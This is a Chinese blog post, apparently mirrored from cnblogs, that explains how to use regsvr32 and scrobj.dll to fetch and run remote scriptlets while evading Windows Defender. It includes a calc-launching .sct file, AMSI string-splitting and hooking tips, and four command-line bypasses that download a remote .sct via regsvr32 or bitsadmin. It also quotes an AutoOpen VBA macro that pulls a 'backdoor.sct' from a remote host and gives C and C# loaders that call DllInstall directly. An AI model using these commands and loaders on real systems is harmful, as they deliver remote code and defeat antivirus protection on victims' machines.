zoukankan      html  css  js  c++  java
  • regsvr32 bypass windows defender 新思路

    原文链接:blog

    在对regsvr32的用法进行了解之后,对于Casey Smith的远程js脚本执行命令的思路很感兴趣。

    命令语法如下:

    regsvr32 /s /n /u /i:http://127.0.0.1/file.sct scrobj.dll
    

    原理则是利用com组件的scriptlet注册方式,关于scriptlet的介绍可以参考MSDN,差不多就是用脚本形式实现com组件和asp互操作,但其实除了给asp调用之外还可以给其他.net组件调用。

    命令中的参数介绍:

    • /s: 静默模式,不弹框
    • /n: 不调用DllRegisterServer
    • /u: 卸载com组件
    • /i: 传给DllInstall的参数内容
    • scrobj.dll: com服务器,全名 Windows Script Component,DllInstall方法在这个组件中实现

    根据msdn关于DllInstall的介绍中:“It is invoked by regsvr32 to allow the DLL to perform tasks such as adding information to the registry.”,可知,regsvr32允许注册过程中dll进行一些自定义的安装过程,该过程在DllInstall中实现。

    该函数原型如下:

    HRESULT DllInstall(
      BOOL   bInstall,
      PCWSTR pszCmdLine
    );
    

    regsvr32中的/i参数指定的内容,会被直接传递到pszCmdLine,/u参数会将false传递到bInstall,所以对sct文件的调用肯定在scrobj.dll中的install过程。

    这么看,regsvr32只不过是负责调用dll的一个工具,可能还会有写入注册表的功能。

    理解到这里之后,我们在defender开启的情况下尝试一下这个方法,发现被拦截:

    报毒:Backdoor:JS/Relvelshe.A,看受影响项目是脚本文件,可能是脚本内容没有过amsi检测。
    文件内容:

    <?XML version="1.0"?>
    <component id="TESTING">
    <registration
      progid="TESTING"
      classid="{A1112221-0000-0000-3000-000DA00DABFC}" >
      <script language="JScript">
        <![CDATA[
          var foo = new ActiveXObject("WScript.Shell").Run("calc.exe");
        ]]>
    </script>
    </registration>
    </component>
    

    经测试,将new ActiveXObject("WScript.Shell").Run("calc.exe")中字符串提出来赋值给变量就没问题了(脚本内容太复杂不好改,也可以试试直接hook掉amsiscanbuffer)。

    在sct不被杀的情况下,再次执行regsvr32,仍然被拦截:Trojan:Win32/Powemet.A!attk

    从报毒中的cmdline可知检测的是命令行内容,所以在网上可找到的绕过姿势有四种(参考wh0ale):

    1. 改变scrobj.dll的名称
    copy c:\windows\system32\scrobj.dll NothingToSeeHere.dll
    Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct NothingToSeeHere.dll
    
    1. 为scrobj.dll创建符号链接
    Mklink Dave_LovesThis.dll c:\windows\system32\scrobj.dll
    Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Dave_LovesThis.dll
    
    1. 利用NTFS ADS功能绕过
    type c:\Windows\System32\scrobj.dll > Just_A_Normal_TextFile.txt:PlacingTheDLLHere
    Regsvr32.exe /u /s /i:https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct Just_A_Normal_TextFile.txt:PlacingTheDLLHere
    
    1. 先将sct文件放到本地,然后执行
    bitsadmin /transfer download /download /priority normal https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSBinaries/Payload/Regsvr32_calc.sct %TEMP%\test.txt && regsvr32.exe /s /u /i:%TEMP%\test.txt scrobj.dll
    Regsvr32.exe /u /s /i:Regsvr32_calc.sct scrobj.dll
    

    经过上面分析,其实可以看出来其实可以不用regsvr32.exe,使用他的目的是因为他是windows自带的,有微软签名,如果不考虑这个的情况下其实可以写程序直接调用scrobj.dll的DllInstall方法实现代码执行。

    对于调用dll导出的函数,我首先想到的使用c实现:

    #include <stdio.h>
    #include <stdlib.h>
    #include <windows.h>
    #include <tchar.h>
    
    int main()
    {
        TCHAR *dllpath = _T("c:\\windows\\system32\\scrobj.dll");
        HMODULE hDllScr = LoadLibrary(dllpath);
        if (hDllScr == NULL)
        {
            puts("Load scrobj.dll fail!");
        }
        puts("Load scrobj.dll success!");
        printf("Address: %p\n", hDllScr);
        void* DllInstallProcAddr = (void*)GetProcAddress(hDllScr, "DllInstall");
        if (DllInstallProcAddr == NULL)
        {
            puts("Can not found DllInstall in scrobj.dll!");
        }
        printf("Found Dllinstall(%p) in scrobj.dll!", DllInstallProcAddr);
        //((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://172.16.135.130:8080/uRUrVPCR1C");
        ((void (*)(BOOL, TCHAR*))DllInstallProcAddr)(FALSE, L"http://127.0.0.1/ttt.txt");
        return 0;
    }
    

    很不幸,在执行的时候一直报错:

    看这个原因和js有关系,但是无法具体确定哪里的原因,所以没想很多直接调试,对比regsvr32和他调用scrobj.dll的区别之处,最终发现到scrobj.dll的一处判断的地方没通过导致报错,貌似不是regsvr32做了什么暗箱操作。

    调了十多遍,也不知道那处判断是做什么的,休息了几天,重新回到这个问题:如何手动调用scrobj.dll对DllInstall传参?

    查了半天资料,终于看到一篇文章:https://labs.f-secure.com/archive/dll-tricks-with-vba-to-improve-offensive-macro-capability/,其中讲了两点内容:

    1. 如何不用regsvr32运行远程com脚本
    2. 在office宏中调用已经存在磁盘上的dll

    第一点正是我所需要的,看了之后发现这位大佬是在office宏中实现的,宏代码如下:

    Private Declare PtrSafe Function DllInstall Lib "scrobj.dll" (ByVal bInstall As Boolean, ByRef pszCmdLine As Any) As Long
    
    Sub AutoOpen()
        DllInstall False, ByVal StrPtr("http://X.X.X.X:8080/backdoor.sct") ' False = "Don't install"
    End Sub
    

    看代码,和上面我用c写的代码差不多,但是本地在office中用宏测试了一下真的可行。

    经过一番思考,发现VB也是基于.net平台的,是不是这个原因,我用c写的肯定没有.net环境,改用c#试一下:

    using System;
    using System.Reflection;
    using System.Runtime.InteropServices;
    using System.ComponentModel;
    
    namespace scrobj_call_csharp
    {
        static class NativeMethod
        {
            [DllImport("kernel32", SetLastError = true, CharSet = CharSet.Ansi)]
            public static extern IntPtr LoadLibrary([MarshalAs(UnmanagedType.LPStr)] string lpFileName);
    
            [DllImport("kernel32", CharSet = CharSet.Ansi, ExactSpelling = true, SetLastError = true)]
            public static extern IntPtr GetProcAddress(IntPtr hModule, string procName);
    
        }
    
        class Program
        {
            [UnmanagedFunctionPointer(CallingConvention.StdCall, CharSet = CharSet.Unicode)]
            private delegate Int32 DllInstall(Boolean bInstall, String pszCmdLine);
    
            static void Main(string[] args)
            {
                const string dllPath = "scrxxobj.dll";
                IntPtr hDllScr = NativeMethod.LoadLibrary(dllPath);
                if(hDllScr == IntPtr.Zero)
                {
                    var lasterror = Marshal.GetLastWin32Error();
                    var innerEx = new Win32Exception(lasterror);
                    innerEx.Data.Add("LastWin32Error", lasterror);
    
                    throw new Exception("Can't load Dll " + dllPath, innerEx);
                }
    
                IntPtr DllInstallProcAddr = NativeMethod.GetProcAddress(hDllScr, "DllInstall");
                DllInstall fDllInstall = (DllInstall)Marshal.GetDelegateForFunctionPointer(DllInstallProcAddr, typeof(DllInstall));
    
                fDllInstall(false, "http://127.0.0.1\\ttt.txt");
            }
        }
    }
    

    稍微麻烦一点,但是真的调用成功了。如此看来,使用C#或者其他基于.net的代码直接调用scrobj.dll绕过Defender也是可行的。


    经过查资料发现c也可以使用.net环境,在vs中新建一个clr空项目,将cpp文件添加上去编译即可!

  • 相关阅读:
    Constants and Variables
    随想
    C#基础篇之语言和框架介绍
    Python基础19 实例方法 类方法 静态方法 私有变量 私有方法 属性
    Python基础18 实例变量 类变量 构造方法
    Python基础17 嵌套函数 函数类型和Lambda表达式 三大基础函数 filter() map() reduce()
    Python基础16 函数返回值 作用区域 生成器
    Python基础11 List插入,删除,替换和其他常用方法 insert() remove() pop() reverse() copy() clear() index() count()
    Python基础15 函数的定义 使用关键字参数调用 参数默认值 可变参数
    Python基础14 字典的创建修改访问和遍历 popitem() keys() values() items()
  • 原文地址:https://www.cnblogs.com/cxccc/p/13804357.html
Copyright © 2011-2022 走看看